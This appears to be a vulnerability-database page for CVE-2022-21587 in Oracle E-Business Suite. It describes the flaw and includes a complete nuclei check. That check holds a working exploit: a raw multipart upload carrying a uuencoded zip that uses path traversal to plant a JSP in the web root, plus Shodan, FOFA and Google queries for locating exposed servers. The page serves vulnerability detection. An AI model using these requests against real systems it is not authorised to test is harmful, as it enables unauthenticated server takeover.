HexBrain

Browse / CVEs / CVE-2022-21587

CVE-2022-21587· oracle / e-business suite· CWE-306

Oracle E-Business Suite 12.2.3 -12.2.11 - Remote Code Execution

Exploited in the wild. Listed by CISA on 2023-02-02; known to be used by ransomware.

criticalseverity
9.8CVSS score
98.3%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Oracle E-Business Suite 12.2.3 through 12.2.11 is susceptible to remote code execution via the Oracle Web Applications Desktop Integrator product, Upload component. An attacker with HTTP network access can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

Impact

Unauthenticated attackers can upload arbitrary files including malicious scripts via the BneViewerXMLService endpoint, achieving remote code execution and complete server compromise.

Fix

Apply the necessary security patches provided by Oracle to mitigate this vulnerability.

How to confirm it

Send: POST /OA_HTML/BneOfflineLOVService?bne:uueupload=true
Positive when: contains(header, "text/xml") and status_code == 200
Send: GET /forms/taint.jsp
Positive when: contains "061ea306-46ef-11f0-ad94-f3d183b0689a" AND status 200

Run it with nuclei: nuclei -id CVE-2022-21587 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2022-21587

info:
  name: Oracle E-Business Suite 12.2.3 -12.2.11 - Remote Code Execution
  author: rootxharsh,iamnoooob,pdresearch,dogasantos,s4e-io
  severity: critical
  description: |
    Oracle E-Business Suite 12.2.3 through 12.2.11 is susceptible to remote code execution via the Oracle Web Applications Desktop Integrator product, Upload component. An attacker with HTTP network access can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Unauthenticated attackers can upload arbitrary files including malicious scripts via the BneViewerXMLService endpoint, achieving remote code execution and complete server compromise.
  remediation: |
    Apply the necessary security patches provided by Oracle to mitigate this vulnerability.
  reference:
    - https://blog.viettelcybersecurity.com/cve-2022-21587-oracle-e-business-suite-unauth-rce/
    - https://www.oracle.com/security-alerts/cpuoct2022.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-21587
    - http://packetstormsecurity.com/files/171208/Oracle-E-Business-Suite-EBS-Unauthenticated-Arbitrary-File-Upload.html
    - https://github.com/manas3c/CVE-POC
    - https://attackerkb.com/topics/Bkij5kK1qK/cve-2022-21587/rapid7-analysis?utm_source=rapid7site&utm_medium=referral&utm_campaign=etr_cve-2022-21587
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-21587
    cwe-id: CWE-306
    epss-score: 0.98342
    epss-percentile: 0.99917
    cpe: cpe:2.3:a:oracle:e-business_suite:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: oracle
    product: e-business_suite
    shodan-query: http.title:"login" "x-oracle-dms-ecid" 200
    fofa-query: title="login" && header="x-oracle-dms-ecid"
    google-query: intitle:"login" "x-oracle-dms-ecid"
  tags: cve,cve2022,intrusive,ebs,unauth,kev,rce,oast,oracle,packetstorm,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /OA_HTML/BneOfflineLOVService?bne:uueupload=true HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZsMro0UsAQYLDZGv

        ------WebKitFormBoundaryZsMro0UsAQYLDZGv
        Content-Disposition: form-data; name="bne:uueupload"

        TRUE
        ------WebKitFormBoundaryZsMro0UsAQYLDZGv
        Content-Disposition: form-data; name="uploadfilename";filename="taintedlove.zip"

        begin 644 taintedlove.zip
        M4$L#!!0``````$1QRUK1ELZ-30```$T```!*````+BXO+BXO+BXO+BXO+BXO
        M1DU77TAO;64O3W)A8VQE7T5"4RUA<'`Q+V%P<&QI8V%T:6]N<R]F;W)M<R]F
        M;W)M<R]T86EN="YJ<W!C870@/B!T86EN="YJ<W`*/"4*("`@(&]U="YP<FEN
        M="@B,#8Q96$S,#8M-#9E9BTQ,68P+6%D.30M9C-D,3@S8C`V.#EA(BD["B4^
        M"E!+`0(4`Q0``````$1QRUK1ELZ-30```$T```!*``````````````"D@0``
        M```N+B\N+B\N+B\N+B\N+B]&35=?2&]M92]/<F%C;&5?14)3+6%P<#$O87!P
        M;&EC871I;VYS+V9O<FUS+V9O<FUS+W1A:6YT+FIS<%!+!08``````0`!`'@`
        (``"U````````
        `
        end
        ------WebKitFormBoundaryZsMro0UsAQYLDZGv--

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "text/xml")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /forms/taint.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '061ea306-46ef-11f0-ad94-f3d183b0689a'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from